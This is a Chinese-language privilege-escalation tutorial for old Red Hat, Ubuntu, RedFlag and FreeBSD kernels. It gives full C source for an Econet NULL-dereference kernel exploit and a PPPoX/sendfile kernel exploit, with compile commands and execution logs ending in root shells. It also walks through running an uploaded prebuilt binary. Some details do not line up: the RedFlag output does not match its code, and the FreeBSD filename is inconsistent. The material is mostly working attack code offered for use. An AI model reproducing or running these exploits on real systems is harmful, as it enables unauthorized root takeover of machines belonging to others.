Linux-Unix 类提权

一、Red Hat Linux（kernel-2.6.18-128.el5）

1. 该用户为普通用户

```
[test@localhost ~]$ whoami
test
[test@localhost ~]$ id
uid=501(test) gid=501(test) groups=501(test) context=root:system_r:unconfined_t:SystemLow-SystemHigh
```

2. 将二进制可执行文件 redhat_exp 上传到 Linux 系统中，案例中上传到/tmp 目录中，并且确保用户执行该文件的权限（无执行权限，用 chmod 命令赋予用户有权限执行该文件）。

```
[test@localhost ~]$ ls -l /tmp/redhat_exp
-rwxrw-r-- 1 test test 11600 10-11 14:04 /tmp/redhat_exp
```

3. 进入/tmp 目录中，执行 redhat_exp 文件。

```
[test@localhost ~]$ cd /tmp/
[test@localhost tmp]$ ./redhat_exp
 [+] MAPPED ZERO PAGE!
 [+] Resolved security_ops to 0xc07bb160
 [+] Resolved sel_read_enforce to 0xc04c765b
 [+] got ring0!
 [+] detected 2.6 style 4k stacks
sh: mplayer: command not found
 [+] Disabled security of : nothing, what an insecure machine!
 [+] Got root!
```

4. 执行完毕查看当前用户是否提权成功。

```
sh-3.2# whoami
root
sh-3.2# id
uid=0(root) gid=0(root) groups=501(test) context=root:system_r:unconfined_t:SystemLow-SystemHigh
```

如上所示，成功提权为 root 权限。

5. 为了方便显示，切换用户当前的 shell 到 bash shell 环境。

```
sh-3.2# bash
[root@localhost tmp]#
```

二、Ubuntu（kernel-2.6.35-22-generic）

1.该用户为普通用户

```
test@yuanzhaozhao:~$ whoami
test
test@yuanzhaozhao:~$ id
uid=1001(test) gid=1001(test) 组=1001(test)
```

2.用 vi 编辑 ubuntu_exp.c 文件，并将如下代码复制黏贴到该文件中。

```
#include <stdio.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <sched.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>
/* How many bytes should we clear in our
* function pointer to put it into userspace? */
#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
        FILE *f;
        unsigned long addr;
        char dummy;
        char sname[512];
        struct utsname ver;
        int ret;
        int rep = 0;
        int oldstyle = 0;
        f = fopen("/proc/kallsyms", "r");
        if (f == NULL) {
                f = fopen("/proc/ksyms", "r");
                if (f == NULL)
                        goto fallback;
                oldstyle = 1;
        }
repeat:
        ret = 0;
        while(ret != EOF) {
                if (!oldstyle)
          ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
```

```
                else {
                        ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
                        if (ret == 2) {
                                char *p;
                                if (strstr(sname, "_O/") || strstr(sname, "_S."))
                                        continue;
                                p = strrchr(sname, '_');
                                if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3))
{
                                        p = p - 4;
                                        while (p > (char *)sname && *(p - 1) == '_')
                                                p--;
                                        *p = '\0';
                                }
                        }
                }
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname)) {
                        fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr,
rep ? " (via System.map)" : "");
                        fclose(f);
                        return addr;
                }
        }
        fclose(f);
        if (rep)
                return 0;
fallback:
        uname(&ver);
        if (strncmp(ver.release, "2.6", 3))
                oldstyle = 1;
        sprintf(sname, "/boot/System.map-%s", ver.release);
        f = fopen(sname, "r");
        if (f == NULL)
                return 0;
        rep = 1;
        goto repeat;
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
```

```
_prepare_kernel_cred prepare_kernel_cred;
static int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
        commit_creds(prepare_kernel_cred(0));
        return -1;
}
/* Why do I do this?    Because on x86-64, the address of
* commit_creds and prepare_kernel_cred are loaded relative
* to rip, which means I can't just copy the above payload
* into my landing area. */
void __attribute__((regparm(3)))
trampoline()
{
#ifdef __x86_64__
        asm("mov $getroot, %rax; call *%rax;");
#else
        asm("mov $getroot, %eax; call *%eax;");
#endif
}
/* Triggers a NULL pointer dereference in econet_sendmsg
* via sock_no_sendpage, so it's under KERNEL_DS */
int trigger(int * fildes)
{
        int ret;
        struct ifreq ifr;
        memset(&ifr, 0, sizeof(ifr));
        strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
        ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
        if(ret < 0) {
                printf("[*] Failed to set Econet address.\n");
                return -1;
        }
        splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
        splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
        /* Shouldn't get here... */
        exit(0);
}
int main(int argc, char * argv[])
{
        unsigned long econet_ops, econet_ioctl, target, landing;
        int fildes[4], pid;
        void * newstack, * payload;
        /* Create file descriptors now so there are two
```

```
        references to them after cloning...otherwise
        the child will never return because it
        deadlocks when trying to unlock various
        mutexes after OOPSing */
    pipe(fildes);
    fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
    fildes[3] = open("/dev/zero", O_RDONLY);
    if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
            printf("[*] Failed to open file descriptors.\n");
            return -1;
    }
    /* Resolve addresses of relevant symbols */
    printf("[*] Resolving kernel addresses...\n");
    econet_ioctl = get_kernel_sym("econet_ioctl");
    econet_ops = get_kernel_sym("econet_ops");
    commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
    if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
            printf("[*] Failed to resolve kernel symbols.\n");
            return -1;
    }
    if(!(newstack = malloc(65536))) {
            printf("[*] Failed to allocate memory.\n");
            return -1;
    }
    printf("[*] Calculating target...\n");
    target = econet_ops + 10 * sizeof(void *) - OFFSET;
    /* Clear the higher bits */
    landing = econet_ioctl << SHIFT >> SHIFT;
    payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
                   PROT_READ | PROT_WRITE | PROT_EXEC,
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
    if ((long)payload == -1) {
            printf("[*] Failed to mmap() at target address.\n");
            return -1;
    }
    memcpy((void *)landing, &trampoline, 1024);
    clone((int (*)(void *))trigger,
          (void *)((unsigned long)newstack + 65536),
          CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
          &fildes, NULL, NULL, target);
    sleep(1);
    printf("[*] Triggering payload...\n");
    ioctl(fildes[2], 0, NULL);
```

```
        if(getuid()) {
                printf("[*] Exploit failed to get root.\n");
                return -1;
        }
        printf("[*] Got root!\n");
        execl("/bin/sh", "/bin/sh", NULL);
}
```

3.将 ubuntu_exp.c 文件编译成二进制可执行文件 ubuntu_exp，使用如下命令。

gcc -o ubuntu_exp ubuntu_exp.c

4.执行二进制可执行文件 ubuntu_exp。

```
test@yuanzhaozhao:/tmp$ ./ubuntu_exp
[*] Resolving kernel addresses...
 [+] Resolved econet_ioctl to 0xe090c2a0
 [+] Resolved econet_ops to 0xe090c3a0
 [+] Resolved commit_creds to 0xc016c830
 [+] Resolved prepare_kernel_cred to 0xc016cc80
[*] Calculating target...
[*] Failed to set Econet address.
[*] Triggering payload...
[*] Got root!
```

5.执行完毕查看当前用户是否提权成功。

```
# whoami
root
# id
uid=0(root) gid=0(root) 组=0(root)
```

如上所示，成功提权为 root 权限。

6.为了方便显示，切换用户当前的 shell 到 bash shell 环境。

```
# bash
root@yuanzhaozhao:/tmp#
```

三、RedFlag（kernel-2.6.27.10-1）

1.该用户为普通用户

```
[test@localhost ~]$ whoami
test
[test@localhost ~]$ id
uid=500(test) gid=500(test) groups=500(test)
```

2.用 vi 分别编辑 redflag_run.c，redflag_exploit.c 文件，如下操作。

第一步：vi redflag_exploit.c

```
#include <stdio.h>
#include <sys/socket.h>
```

```
#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/personality.h>

static unsigned int uid, gid;

#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
#define STACK(x) (x + sizeof(x) - 40)

void exit_code();
char exit_stack[1024 * 1024];

static inline __attribute__((always_inline)) void *get_current()
{
        unsigned long curr;
        __asm__ __volatile__ (
                "movl %%esp, %%eax ;"
                "andl %1, %%eax ;"
                "movl (%%eax), %0"
                : "=r" (curr)
                : "i" (~8191)
        );
    return (void *) curr;
}

static inline __attribute__((always_inline)) void exit_kernel()
{
        __asm__ __volatile__ (
                "movl %0, 0x10(%%esp) ;"
                "movl %1, 0x0c(%%esp) ;"
                "movl %2, 0x08(%%esp) ;"
                "movl %3, 0x04(%%esp) ;"
                "movl %4, 0x00(%%esp) ;"
                "iret"
                : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
```

```
                        "i" (USER_CS), "r" (exit_code)
        );
}

void kernel_code()
{
        int i;
        uint *p = get_current();

        for (i = 0; i < 1024-13; i++) {
                if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] ==
gid && p[5] == gid && p[6] == gid && p[7] == gid) {
                        p[0] = p[1] = p[2] = p[3] = 0;
                        p[4] = p[5] = p[6] = p[7] = 0;
                        p = (uint *) ((char *)(p + 8) + sizeof(void *));
                        p[0] = p[1] = p[2] = ~0;
                        break;
                }
                p++;
        }

        exit_kernel();
}

void exit_code()
{
        if (getuid() != 0) {
                fprintf(stderr, "failed\n");
                exit(-1);
        }

        execl("/bin/sh", "sh", "-i", NULL);
}

int main(void) {
        char template[] = "/tmp/padlina.XXXXXX";
        int fdin, fdout;
        void *page;

        uid = getuid();
        gid = getgid();
        setresuid(uid, uid, uid);
        setresgid(gid, gid, gid);
```

```
	if ((personality(0xffffffff)) != PER_SVR4) {
		if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
			perror("mmap");
			return -1;
		}
	} else {
		if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0)
{
			perror("mprotect");
			return -1;
		}
	}

	*(char *)0 = '\x90';
	*(char *)1 = '\xe9';
	*(unsigned long *)2 = (unsigned long)&kernel_code - 6;

	if ((fdin = mkstemp(template)) < 0) {
		perror("mkstemp");
		return -1;
	}

	if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
		perror("socket");
		return -1;
	}

	unlink(template);
	ftruncate(fdin, PAGE_SIZE);
	sendfile(fdout, fdin, NULL, PAGE_SIZE);
}
```

第二步： vi redflag_run.c

```
#include <sys/personality.h>
#include <stdio.h>
#include <unistd.h>
int main(void) {
	if (personality(PER_SVR4) < 0) {
		perror("personality");
		return -1;
	}

	fprintf(stderr, "padlina z lublina!\n");
```

```
        execl("./redflag_exploit", "redflag_exploit", 0);
}
```

3.分别将 redflag_run.c，redflag_exploit.c 文件编译成二进制可执行文件 redflag_run，redflag_exploit 使用如下命令。

gcc -o redflag_run redflag_run.c

gcc -o redflag_exploit redflag_exploit.c

4.执行二进制可执行文件 redflag_run。

```
[test@localhost ~]$ ./redflag_run
Success,Congratulations!!!
```

5.执行完毕查看当前用户是否提权成功。

```
sh-3.2# whoami
root
sh-3.2# id
uid=0(root) gid=0(root) groups=500(test)
```

如上所示，成功提权为 root 权限。

6.为了方便显示，切换用户当前的 shell 到 bash shell 环境。

```
sh-3.2# bash
[root@localhost ~]#
```

四、FreeBSD

1.该用户为普通用户

```
$ whoami
test
$ id
uid=1002(test) gid=1002(test) groups=1002(test)
```

2. 将如下图所示的文件上传到/tmp 目录下，并且确保用户执行该文件的权限（无执行权限，用 chmod 命令赋予用户有权限执行该文件）。

3.执行二进制可执行文件 freebsd_exp。

./freebsd_env

4.执行完毕查看当前用户是否提权成功。

```
# whoami
root
# id
uid=1002(test) gid=1002(test) euid=0(root) groups=1002(test)
```

如上所示，成功提权为 root 权限。